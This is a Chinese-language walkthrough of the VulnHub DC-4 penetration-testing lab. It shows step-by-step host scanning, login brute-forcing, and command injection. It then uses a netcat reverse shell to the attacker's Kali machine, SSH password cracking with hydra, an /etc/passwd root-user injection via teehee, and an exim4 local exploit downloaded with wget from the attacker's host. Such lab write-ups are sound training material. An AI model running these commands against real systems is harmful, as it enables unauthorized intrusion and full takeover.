文章目录
- 🍬 博主介绍
- 一、环境搭建:
- 1、靶场描述
- 2、下载靶场环境
- 3、启动靶场环境
- 二、渗透靶场
- 1、目标:
- 2、信息收集:寻找靶机真实IP
- 3、信息收集:探端口及服务
- 4、目录爆破
- 5、访问web服务
- 6、爆破账号密码
- 7、发现任意命令执行
- 8、反弹shell到kali
- 1.攻击机监听
- 2.靶机连接
- 3.反弹shell成功
- 9、进入交互式shell
- 10、teehee提权
- 1、查看当前权限
- 2、发现old-passwords.bak文件
- 3、爆破出jim的ssh密码
- 4、发现charles用户密码
- 5、teehee提权
- 11、exim4提权
- 1、查看当前权限
- 2、发现可以用exim4进行提权
- 3、寻找exim4提权脚本
- 4、上传提权脚本到靶机
- 5、exim4提权
- 12.发现flag.txt
- 三、相关资源
一、环境搭建:
1、靶场描述
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-4,313/
下载下来的文件如下
3、启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。
设置虚拟机名称
导入中
导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24
2、信息收集:寻找靶机真实IP
使用nmap进行探活,寻找靶机ip
nmap -sP 192.168.233.0/24
也可以使用arp-scan进行探活,寻找靶机ip
arp-scan -l
本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.180
192.168.233.1 vm8网卡
192.168.233.2 网关
192.168.233.179 靶机
192.168.233.254 DHCP服务器
192.168.233.130 kali本机
3、信息收集:探端口及服务
使用nmap探活端口
nmap -A -p- -v 192.168.233.180
发现开放了22端口,存在ssh服务,OpenSSH 7.4p1
发现开放了80端口,存在web服务,nginx 1.15.10
也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.233.180
然后进行web指纹识别
whatweb -v 192.168.233.180
4、目录爆破
只发现登录框
5、访问web服务
http://192.168.233.180/
发现是一个登录框,我们第一反应就是能不能爆破出弱口令,然后就是有没有可能使用万能密码
6、爆破账号密码
这里使用bp尝试获取弱口令
Bp抓个包,发送到爆破模块
设置好爆破点
导入优秀的字典
我使用的字典
https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr
账号我导入了一个常用用户名
密码我导入了一个top1000
开始爆破
爆破中
爆破结果如下:
发现admin/happy这一组返回包长度最长,猜想他就是账号密码
使用admin/happy登录成功
7、发现任意命令执行
发现它有一个命令,我们点进去看一下
发现这里可以执行三种命令
点击list files好像是执行了ls -l
点击run抓个包看一下
发现真的是执行了ls -l
发现执行了ls并回返值,猜想能不能执行任意命令
把抓到的包放入重放攻击模块修改命令进行重放攻击
由上面ls -l拼接方式看,我们可以知道空格使用+代替
执行ls
执行whoami
执行id
执行ip+add
由上面的测试可知确实存在任意命令执行,空格由+代替
8、反弹shell到kali
1.攻击机监听
nc -lvvp 55555
Nc反弹shell详解在文末给出链接
2.靶机连接
连接命令
nc 192.168.233.130 55555 -e /bin/bash
经过+拼接如下
nc+192.168.233.130+55555+-e+/bin/bash
3.反弹shell成功
执行ls
9、进入交互式shell
都知道上面的到的shell不好用,我们进入交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
10、teehee提权
这个靶机可以使用exim4提权也可以使用teehee提权,两种提权方式选择一种即可,这里我两种提权方式都有些到
1、查看当前权限
查看当前权限,不是root权限
id
Whoami
2、发现old-passwords.bak文件
查看系统里面有什么文件
在/home/jim/backups下看到一个old-passwords.bak文件,看名字应该是一堆密码,而且是jim用户使用过的密码
打开看一下发现一堆密码
感觉可以做爆破字典
把文件保存下来
3、爆破出jim的ssh密码
使用hydra爆破一下ssh密码
hydra -l jim -P /root/Desktop/old-passwords.bak.txt 192.168.233.180 ssh
用户名为jim,密码为我们保存的old-passwords.bak.txt
果然爆破出一个一对用户密码
jim/jibril04
使用kali登录jim
ssh jim@192.168.79.132
密码是jibril04
成功登录jim用户
4、发现charles用户密码
继续探索
在/var/spool/mail目录下发现一封名为jim的邮件
邮件内容大致为:
我今天要去度假了,所以老板让我给你我的密码,以防有什么事情发生错了。
也就是说这里我们又拿到了一个用户名和密码
Charles/^xHhA&hvim0y
直接su 切换用户试试
su Charles
提示没有这个用户名,那很明显首字母我们需要小写
su charles
然后输入密码
^xHhA&hvim0y
成功用su命令切换到用户charles
5、teehee提权
1、查看使用sudo运行的命令
sudo -l
看到一个teehee提权,我们可以用teehee写一些信息到/etc/passwd里面
2、执行如下命令进行提权:
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
命令的意思大致利用teehee为把如下信息写到/etc/passwd里面,在用户名admin 没有密码为管理员权限,进入的时候运行/bin/bash
3、/etc/passwd 内每个字段含义如下
admin::0:0:::/bin/bash
username:password:User ID:Group ID:comment:home directory:shell
4、成功提权为root
11、exim4提权
这个靶机可以使用exim4提权也可以使用teehee提权,两种提权方式选择一种即可,这里我两种提权方式都有些到
1、查看当前权限
查看当前权限,不是root权限
id
whoami
2、发现可以用exim4进行提权
看看具有SUID权限的命令
find / -user root -perm -4000 -print 2>/dev/null
发现exim4命令具有SUID权限,exim4是可以用来提权的
查看查看exim4版本,发现exim4版本为4.89
exim4 --version
3、寻找exim4提权脚本
1、本地漏洞库查找exim 4漏洞
searchsploit exim 4
exim4版本为4.89,发现有好几个可以用,还有两个提权,这里我们选用46996
4、上传提权脚本到靶机
开启apache服务
systemctl start apache2.service
将选用的46996拷贝到kali的apache web页面下
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
访问kali服务下载提权脚本
http://kali-ip/46996.sh
DC-4下载提权脚本
wget http://192.168.233.130/46996.sh
提示可以访问,但拒绝访问,可能是目录权限不够,尝试切换到/tmp目录进行下载
cd /tmp
wget http://192.168.233.130/46996.sh
成功下载提权脚本
5、exim4提权
我们已经上传了提权脚本到靶机,接下来我们需要运行脚本进行提权
ls -l
查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限
chmod +x 46996.sh
执行脚本
./46996.sh
成功提权为root权限
发现flag
12.发现flag.txt
有了root权限,我们切换到root目录下,查看文件,发现flag.txt文件
cd /root
ls
cat flag.txt
三、相关资源